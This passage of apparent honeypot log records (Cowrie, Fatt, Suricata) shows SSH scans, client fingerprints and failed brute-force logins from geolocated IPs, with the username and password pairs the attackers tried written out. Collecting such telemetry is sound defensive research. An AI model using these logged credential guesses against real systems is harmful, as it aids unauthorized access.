"hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39580, "timestamp": "2021-09-20T11:11:59.205300", "@timestamp": "2021-09-20T11:11:59.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26394	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:11:59.243042+03	2021-09-20 14:15:13.213646+03	{"_id": "CgbnAnwBvYTbRNuE0iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39580, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.243042", "@timestamp": "2021-09-20T11:11:59.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26395	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:11:59.243614+03	2021-09-20 14:15:13.215646+03	{"_id": "CwbnAnwBvYTbRNuE0iHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c3688b2326f7", "@version": "1", "timestamp": "2021-09-20T11:11:59.243614Z", "@timestamp": "2021-09-20T11:11:59.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26396	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:59.52439+03	2021-09-20 14:15:13.216645+03	{"_id": "FgbnAnwBvYTbRNuE0iHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52718 (192.168.176.2:22) [session: 6fa92b1d7bed]", "session": "6fa92b1d7bed", "@version": "1", "protocol": "ssh", "src_port": 52718, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.524390Z", "@timestamp": "2021-09-20T11:11:59.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26397	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:12:00.545212+03	2021-09-20 14:15:13.217646+03	{"_id": "IwbnAnwBvYTbRNuE1iGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c3688b2326f7", "@version": "1", "duration": 1.3424148559570312, "timestamp": "2021-09-20T11:12:00.545212Z", "@timestamp": "2021-09-20T11:12:00.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26398	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:51.101502+03	2021-09-20 14:15:13.218646+03	{"_id": "wwbnAnwBvYTbRNuEsyCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7fe0b4e65ce8", "@version": "1", "timestamp": "2021-09-20T11:11:51.101502Z", "@timestamp": "2021-09-20T11:11:51.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26399	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:51.311896+03	2021-09-20 14:15:13.220646+03	{"_id": "xAbnAnwBvYTbRNuEsyCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b09377ee68d2", "@version": "1", "duration": 3.6019129753112793, "timestamp": "2021-09-20T11:11:51.311896Z", "@timestamp": "2021-09-20T11:11:51.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26400	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:51.785617+03	2021-09-20 14:15:13.221646+03	{"_id": "xQbnAnwBvYTbRNuEtyBp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [psybnc/psybnc] failed", "session": "3dde340ea2c9", "@version": "1", "password": "psybnc", "username": "psybnc", "timestamp": "2021-09-20T11:11:51.785617Z", "@timestamp": "2021-09-20T11:11:51.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26401	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:53.129417+03	2021-09-20 14:15:13.222646+03	{"_id": "yQbnAnwBvYTbRNuEuyBS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3cedbc756a3f", "@version": "1", "duration": 3.136406660079956, "timestamp": "2021-09-20T11:11:53.129417Z", "@timestamp": "2021-09-20T11:11:53.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26402	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:55.000297+03	2021-09-20 14:15:13.223646+03	{"_id": "zQbnAnwBvYTbRNuEwSBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:37.093247+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 521520366316607, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 34168, "timestamp": "2021-09-20T11:11:55.000297Z", "@timestamp": "2021-09-20T11:11:55.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
26425	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:52.409152+03	2021-09-20 14:15:13.254647+03	{"_id": "xwbnAnwBvYTbRNuEtyBp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [adfexc/adfexc] failed", "session": "7fe0b4e65ce8", "@version": "1", "password": "adfexc", "username": "adfexc", "timestamp": "2021-09-20T11:11:52.409152Z", "@timestamp": "2021-09-20T11:11:52.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26403	178.128.198.1	109.199.241.180	Fatt	2021-09-20 14:11:54.67369+03	2021-09-20 14:15:13.224645+03	{"_id": "0QbnAnwBvYTbRNuEwiCB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 42726, "dest_port": 22, "timestamp": "2021-09-20T11:11:54.673690", "@timestamp": "2021-09-20T11:11:54.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26404	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:11:54.673888+03	2021-09-20 14:15:13.226646+03	{"_id": "1gbnAnwBvYTbRNuEwyAj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr"], "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6", "session": "6df5f8c0998f", "@version": "1", "timestamp": "2021-09-20T11:11:54.673888Z", "@timestamp": "2021-09-20T11:11:54.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26405	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:11:54.637981+03	2021-09-20 14:15:13.227646+03	{"_id": "1wbnAnwBvYTbRNuEwyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.198.1:42726 (192.168.176.2:22) [session: 6df5f8c0998f]", "session": "6df5f8c0998f", "@version": "1", "protocol": "ssh", "src_port": 42726, "dest_port": 22, "timestamp": "2021-09-20T11:11:54.637981Z", "@timestamp": "2021-09-20T11:11:54.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26406	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:11:54.638673+03	2021-09-20 14:15:13.228646+03	{"_id": "3gbnAnwBvYTbRNuEwyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "6df5f8c0998f", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:11:54.638673Z", "@timestamp": "2021-09-20T11:11:54.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26407	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:11:54.788769+03	2021-09-20 14:15:13.230644+03	{"_id": "3wbnAnwBvYTbRNuEwyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.login.failed", "message": "login attempt [root/Lt111111] failed", "session": "6df5f8c0998f", "@version": "1", "password": "Lt111111", "username": "root", "timestamp": "2021-09-20T11:11:54.788769Z", "@timestamp": "2021-09-20T11:11:54.788Z", "t-pot_ip_ext": 